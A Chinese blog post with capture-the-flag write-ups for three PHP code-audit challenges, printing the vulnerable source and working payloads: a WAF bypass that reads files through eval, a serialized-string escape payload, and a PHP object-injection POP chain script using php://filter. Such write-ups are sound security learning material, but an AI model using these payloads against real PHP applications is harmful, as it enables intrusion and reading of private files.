部分php代码审计习题(2)

[RoarCTF 2019]Easy Calc

网页打开之后就是一个非常普通的计算器(web应用),直接翻查源码,主要看js代码。

<!--I've set up WAF to ensure security.-->
<script>
    $('#calc').submit(function(){
        $.ajax({
            url:"calc.php?num="+encodeURIComponent($("#content").val()),
            type:'GET',
            success:function(data){
                $("#result").html(`<div class="alert alert-success">
            <strong>答案:</strong>${data}
            </div>`);
            },
            error:function(){
                alert("这啥?算不来!");
            }
        })
        return false;
    })
</script>
encodeURIComponent()			字符串作为 URI 组件进行编码。
val() 			方法返回或设置被选元素的值。

发现这么一句注释:<!--I've set up WAF to ensure security.-->,哦,那先了解一下啥事WAF:
Web应用防护系统(也称为:网站应用级入侵防御系统。英文:Web Application Firewall,简称: WAF)。利用国际上公认的一种说法:Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。经过尝试,这个似乎是拦截了字符串输入。
嗯,完全没有思路呢,不过中间的url提到了clac.php,打开看一看:

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?> 

好,是正则表达式,不会,找文章去看。
“/”被过滤掉了,我们用chr(47)代替。chr()函数可以从指定的ASCII值返回字符。这样我们传入chr(47),得到的实际是“/”。
这里牵扯到字符串解析特性。PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:

1.删除空白符  
2.将某些字符转换为下划线(包括空格)【当waf不让你过的时候,php却可以让你过】

对于waf来说,“num”和“ num”(后面这个有空格)是不同的两个变量,所欲不会进行防护。后台php解析的时候则会删除空格字符从而执行php,实现waf的绕过。
这里介绍一下scandir(),作为PHP5 Directory函数,它可以返回指定目录中的文件和目录的数组。我们可以直接通过这个函数读取目录。执行:
? num=1;var_dump(scandir(chr(47)))
读出,数组中出现[7]=>string(5)"f1agg",访问它:
? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
后面内容为“/f1agg”ascii编码后,拿到flag。(查到文件后1和l要区分清楚)
p.s.本题似乎有多种解法,感兴趣可以看一看http走私解法。

[安洵杯 2019]easy_serialize_php

(反序列化中的对象逃逸)
打开之后是超链接,跳转至source_php。

<?php

$function = @$_GET['f'];
//大题解释就是对传入的参数进行了匹配过滤
function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}

//如果有session就销毁
if($_SESSION){
    unset($_SESSION);
}
//对session进行赋值
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
//变量覆盖,$_session之前的赋值作废
extract($_POST);
//确保函数存在
if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}
//传入img_path会使得本身base64编码后求sha1散列,加工后的session会使file_get_contents函数失效
if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));
//试图引导我传入phpinfo
if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
} 

(分析已写入代码注释)
给我一种代码不完整的感觉……不过确实是完整的扒下来了。

phpinfo()			输出关于PHP的配置信息			
implode()			把数组元素组合为字符串;函数返回由数组元素组合成的字符串。
preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )			搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。(涉及正则表达式部分)
unset()			销毁指定变量
file_get_contents()			之前介绍过了,把文件读成一个字符串
sha1()			计算并返回sha1传入参数的散列值

先传参令f=phpinfo,看看配置信息。在core->auto_append_file栏发现野生php文件:d0g3_f1ag.php,挺像flag的。
查了查wp归来,这个地方似乎考察一个叫php反序列化字符逃逸的知识点。链接文章很详细。所以这个地方我们可以在一个标准的序列化字符串结尾,继续添加一些算是序列化字符串格式的字符。“}”后面我们添加的字符在反序列化的时候会被抛掉,。由此实现了字符串逃逸。
payload:_SESSION[phpflag]=;s:1:“1”;s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;}
后面的字符串就是d0g3_f1ag.php的base64加密。s:3:“img”;s:20:"ZDBnM19mMWFnLnBocA";}这个肯定就是我们预期的那段序列化字符.通过filter函数过滤掉php和flag之后,我们大概得到的是:
a:2:{s:7:"";s:54:";s:1:“1”;s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;}";s:3:“img”;s:20:“Z3Vlc3RfaW1nLnBuZw==”;}通过构造我们把img的原值成功抛弃,自主构造的值完美逃逸。但是使用后题目很恶心的给我们又摆了一道:
$flag = 'flag in /d0g3f111111ag';
梅开二度,payload:_SESSION[phpflag]=;s:14:"phpflagphpflag";s:7:"xxxxxxx";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
总算拿到flag了……附一个用两种方法的大佬的wp,实现键逃逸和值逃逸。

[MRCTF2020]Ezpop

源码:

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
//可利用的文件包含
    public function append($value){
        include($value);
    }
//尝试调用对象触发invoke魔术方法
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;

    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
//echo触发toString(),看样子是返回include()的内容
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
//对象被创建时调用
    public function __construct(){
        $this->p = array();
    }
//访问设置未定义或私密域时自动调用
    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
} 

(代码分析已写入注释)
总之它还很贴心的贴上了反序列化魔术方法的学习网址(虽然失效了),我们也应该很贴心的去百度一下到底自己不会的这些魔术方法是啥。

__construct   当一个对象创建时被调用,
__toString   当一个对象被当作一个字符串被调用。
__wakeup()   使用unserialize时触发
__get()    用于从不可访问(私有属性,未初始化属性)的属性读取数据
__invoke()   当脚本尝试将对象调用为函数时触发

pop链据说正向理思路,反向推解法。首先我们让Test类的成员域p等于Modifier类,触发__get()魔术方法。这样Modifier类会变成函数,从而使得__invoke()方法被调用,调用出我们需要的include()函数;之后由于__toString()方法可以输出内容,前提是source为对象。那么我们令source为对象,调出内容。

<?php

class Modifier {
    protected $var = "php://filter/read=convert.base64-encode/resource=flag.php";
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = new Modifier;
    }
}

$a = new Show();
$a->str = new Test();
$a->str->p = new Modifier();
$b = new Show($a);
echo urlencode(serialize($b));

?>

这个地方有一个filter协议相关的知识点,需要过滤封装代码。拿到这个PD9waHAKY2xhc3MgRmxhZ3sKICAgIHByaXZhdGUgJGZsYWc9ICJmbGFnezcxMjNjNGRhLTg3MjQtNDJjYy04M2I1LWYyZDVkNjkxY2Y3NX0iOwp9CmVjaG8gIkhlbHAgTWUgRmluZCBGTEFHISI7Cj8+,base64解码发现是php代码,其中输出了flag。

posted @ 2021-08-20 19:03  Grayi  阅读(231)  评论(0)    收藏  举报